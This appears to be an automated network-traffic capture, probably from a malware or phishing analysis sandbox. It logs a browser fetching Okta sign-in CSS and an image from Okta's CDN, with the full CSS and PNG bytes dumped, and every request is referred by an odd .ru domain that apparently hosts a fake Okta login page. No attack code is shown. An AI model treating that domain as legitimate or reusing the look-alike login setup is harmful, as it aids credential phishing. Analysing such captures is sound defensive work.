2025-03-20 07:57:06 UTC	15615	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c Data Ascii: x;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:top}#okta-sign-in [class="-48"]:after,#okta-sign-in [class="-48"]:before,#okta-sign-in [class^="-48"]:after,#okta-sign-in [class^="-48"]:before{speak:none;-webkit-font-smoothing:antial
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 37 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 64 76 61 6e 63 65 64 2d 73 73 6f 2d 31 36 2d 62 6c 75 65 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 38 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 38 63 38 63 39 36 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 32 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 2e 61 63 74 69 76 65 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 34 63 62 66 39 Data Ascii: cc0;content:"\e017"}#okta-sign-in .advanced-sso-16-blue:after{color:#5e5e5e;content:"\e018"}#okta-sign-in .bookmark-16:before{color:#8c8c96;content:"\e02a"}#okta-sign-in .bookmark-16-green.active:before,#okta-sign-in .bookmark-16-green:before{color:#4cbf9
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 62 62 62 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 30 20 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 32 29 3b 6c 65 66 74 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 32 70 78 3b 77 69 64 74 68 3a 34 31 37 70 78 3b 7a 2d 69 6e 64 65 78 3a 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 20 2e 6f 70 74 69 6f 6e 73 20 6c 69 2e 6f 70 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 61 65 61 65 61 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e Data Ascii: fff;border:1px solid #bbb;box-shadow:0 2px 0 hsla(0,0%,63%,.2);left:0;list-style:none;padding:0;position:absolute;top:2px;width:417px;z-index:4}#okta-sign-in .dropdown .options li.option{background:#fff;border-bottom:1px solid #eaeaea;display:block;paddin
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 61 62 62 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 72 74 6c 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 20 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 40 32 78 2e 70 6e 67 29 21 Data Ascii: .chzn-container-single .chzn-search input,#okta-sign-in .chzn-container-single .chzn-single abbr,#okta-sign-in .chzn-container-single .chzn-single div b,#okta-sign-in .chzn-rtl .chzn-search input{background-image:url(../img/ui/forms/chosen-sprite@2x.png)!
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 3b 70 61 64 64 69 6e 67 3a 37 70 78 20 31 30 70 78 20 37 70 78 20 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 20 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 3a 66 69 72 73 74 2d 63 Data Ascii: ;padding:7px 10px 7px 0}#okta-sign-in .o-form-read-mode .custom-checkbox:first-child,#okta-sign-in .o-form-read-mode .custom-radio:first-child,#okta-sign-in .o-form-read-mode.custom-checkbox:first-child,#okta-sign-in .o-form-read-mode.custom-radio:first-c
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 20 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 3b 70 61 64 64 69 6e 67 3a 38 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 33 32 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 34 38 30 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b 69 Data Ascii: kta-sign-in .o-form .input-fix input,#okta-sign-in .o-form .textarea-fix input{background:none;border:none;box-shadow:none;font-size:14px;line-height:22px;padding:8px}@media only screen and (min-device-width:320px) and (max-device-width:480px) and (-webki
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 Data Ascii: n{border-radius:3px;box-sizing:border-box;display:block;font-size:14px;line-height:50px;margin-top:15px;text-align:center}#okta-sign-in .piv-button.link-button:last-of-type{margin-bottom:25px}#okta-sign-in .piv-button.link-button:active,#okta-sign-in .piv
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 69 6e 70 75 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 77 69 64 74 68 3a 31 34 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e Data Ascii: rm-button-bar input,#okta-sign-in .granular-consent .o-form-button-bar input{height:auto;line-height:normal;min-height:50px;white-space:normal;width:140px}#okta-sign-in .consent-required .o-form-button-bar .button-primary,#okta-sign-in .granular-consent .
2025-03-20 07:57:06 UTC	16384	IN	Data Raw: 6e 74 61 69 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 3e 2e 6f 2d 66 6f 72 6d 2d 65 72 72 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 6b 74 61 2d 77 61 69 74 69 6e 67 2d 73 70 69 6e 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 6b 74 61 2d 77 61 69 74 69 6e 67 2d 73 70 69 6e 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 6b 74 61 2d 77 61 69 74 Data Ascii: ntainer,#okta-sign-in .verify-webauthn-form .o-form-content>.o-form-error-container{margin-bottom:20px}#okta-sign-in .enroll-u2f-form .okta-waiting-spinner,#okta-sign-in .enroll-webauthn-form .okta-waiting-spinner,#okta-sign-in .verify-u2f-form .okta-wait

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	649	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:06 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 024ebcc63921610877d4ba277290628c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: SsYYYixEa0NlWBJEq-tqJp6891RMccazmiFh75SSHbWHTLqza1sZNw== Age: 224399
2025-03-20 07:57:06 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	651	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:06 UTC	874	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Wed, 12 Mar 2025 01:03:00 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Thu, 12 Mar 2026 01:03:00 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none'; img-src 'self'; require-trusted-types-for 'script'; report-uri https://oktacsp.report-uri.com/r/t/csp/enforce X-Content-Type-Options: nosniff Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 f6acfb143216fabf7be9b3a603a486ae.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: ZX2B3jn7zg4mQweKTVKBj3747fN14sPNtDi4FzY3PXZd9r4uul_iXA== Age: 716046
2025-03-20 07:57:06 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$